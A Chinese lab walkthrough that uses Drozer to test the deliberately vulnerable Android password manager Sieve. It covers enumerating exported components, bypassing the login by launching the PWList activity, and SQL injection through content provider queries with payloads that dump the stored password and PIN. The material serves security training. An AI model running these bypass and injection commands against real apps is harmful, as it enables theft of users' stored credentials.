• Drozer之android_app分析实战


     

    我们的任务分为3个部分:

          1. 基本操作:使用gdb安装drozer客户端、使用drozer连接android模拟器

          2. 熟悉drozer的简单操作:列出所有包名、获取指定包名、获取指定应用的基本信息、确定攻击面

          3. Drozer实战:使用drozer攻击app漏洞

    配置实验环境

    1.启动android模拟器

          

          点击下面的android虚拟设备

          

          点击启动

          

          进入设备的启动配置选项,点击“launch”

          

          然后关闭虚拟设备管理器

          

          双击start_drozer.bat

          

    2.安装drozer 客户端

          查看当前设备

          adb devices

          

          启动drozer客户端

          解锁模拟器(鼠标点击拉到右侧),进入下面界面

          

          打开drozer客户端

          

          查看右下角的按钮,如果是关闭状态,则点击按钮,启动drozer agent

          

          

    3.开启端口转发

          adb forward tcp:31415 tcp:31415

          

          使用drozer连接android模拟器

          drozer console connect

          

          连接成功

    实验步骤二

    任务描述:熟悉drozer的简单操作:列出drozer的所有模块,列出模拟器上安装的所有包名、获取指定包名、获取指定应用的基本信息、确定攻击面

    1.列出drozer的所有模块

          List

          

          每个模块后面都有该模块的介绍,使用的时候可以参考

    2.列出模拟器上安装的所有包名

          包名是唯一的,只表示apk文件的名称,都是以com.开头

          run app.package.list

          

    3.查找包含特定字符串的包名

          run app.package.list –f (string to be searched)

          例如:查找包含example的包名

          run app.package.list -f example

          

    4.获取指定应用的基本信息

          run app.package.info -a com.mwr.example.sieve

          

    5.确定攻击面

          我们只用一条命令就可用识别出应用的攻击面,Drozer会告诉我们应用是否有暴露的组件,是否可调试等

          run app.package.attacksurface (package name)

          例如:

          run app.package.attacksurface com.mwr.example.sieve

          

    实验步骤三

    任务描述:测试目标app sieve是否存在漏洞,并通过该SQL注入漏洞获取用户敏感信息

    Sieve是一个密码管理小工具,可以存贮多个不同应用的密码,本次实验将对sieve的漏洞进行探测分析

    1.查找sieve包名

          run app.package.list -f sieve

          

    2.获取目标sieve详细信息

          run app.package.info -a com.mwr.example.sieve

          

    3.查看sieve攻击面

          run app.package.attacksurface com.mwr.example.sieve

          

          Exported 表明该组件可以被其他app调用,如果存在恶意app,就会导致用户敏感信息泄露

    4.查看有哪些功能可以被其他app调用

          run app.activity.info -a com.mwr.example.sieve

          

          发现有三个功能被调用了,其中MainLoginActivities是用户登录界面。

          可以看到都不需要权限,那么下面我们将进行尝试调用:

          正常开启该app

          

          点击下面按钮

          

          开启app

          

          向左拖动,然后打开应用

          

          正常情况下,如果没有密码是不能查看里面存储的内容的

          

          但是根据之前探测结果,发现该应用的如下信息

          

          我们可以绕过登录验证功能,直接执行查看密码的功能:

          run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList 

          sieve 应用直接转到了密码存储的页面

          

    5.查询Content Providers详细信息。

          Content Providers 主要是用来存储和查询数据,更重要的是所有应用程序都可以访问它。这也是程序之间分享数据的唯一方法。Android里面是没有提供共同存储的区域来给所有的包访问。

          由于Content Providers的这一特性,就会造成app敏感信息的泄露

          下面命令可以获取Content Providers详细信息:

          run app.provider.info -a com.mwr.example.sieve

          

          从返回结果可以看出,对sieve的DBContentProvider的访问除了/Keys路径,其他的都不需要权限,而FileBackupProvider的访问都不需要权限,那么我们就可以根据这些信息来获取敏感数据

    6.获取如何访问步骤五中的敏感数据的方法

          在步骤5中,我们可以断定DBContentProvider肯定存在某些敏感数据

          但是我们却不知道如何获取。Drozer提供了一个模块,可以帮助我们获取

          这些内容的uris(通过测试发现在模拟器中使用该模块会出现异常,如果实验者想复现可以在本地搭建环境,在真实手机上测试)

          run scanner.provider.finduris -a com.mwr.example.sieve

          -a 指定了应用名称,不加参数会扫描所有安装的app

          

          可以看到我们有三个uri可以访问,考虑步骤5中/Keys需要权限,所以我们可以使用content://com.mwr.example.sieve.DBContentProvider/Passwords/来测试。

    7.测试是否存在sql注入漏洞

          由于andorid应用大多使用sqlite数据库存储数据,既然这些数据库使用sql,那么就有可能存在sql注入漏洞。下面我们将通过简单的方法测试是否存在该漏洞。

          run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

          

          可以看到,返回了错误信息,爆出了注入点,我们就可以构造sql从而获取敏感信息。下面是另外一个注入点

          run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

          

          从两个返回结果看,在column和where处都存在注入点

    8.利用注入漏洞获取敏感信息

          该步骤有点类似于sqlmap,可以查看都有哪些表,并且可以查询表中的数据,甚至导出数据库到本地进行分析。下面就利用步骤7发现的注入点来进一步渗透

          查询存在哪些表:

          run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

          

          查询表中的数据:

          run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

          

          我们直接获取了该应用的登录密码和pin码

    9.自动发现sql注入漏洞的模块(该模块需要实验者自己在实体机上进行测试)

          Drozer提供了自动测试sql注入漏洞的模块,用法如下

          run scanner.provider.injection -a com.mwr.example.sieve

          

          结果跟我们通过步骤6、7、8的结果相同

  • 相关阅读:
    matlab 画图中线型及颜色设置
    创建二叉树求叶子节点个数
    乐视2016暑期实习编程题
    MFC特定函数的应用20160720(SystemParametersInfo,GetWindowRect,WriteProfileString,GetSystemMetrics)
    MFC使用ShowWindow(SW_MAXIMIZE)任务栏消失的处理
    Windows字符集的统一与转换
    MFC学习20160718(GetModuleFileName&&GetAppDataPath)
    泛型算法概述
    链表的特有算法操作
    流迭代器的使用
  • 原文地址:https://www.cnblogs.com/ahacker15/p/13063565.html
Copyright © 2020-2023  润新知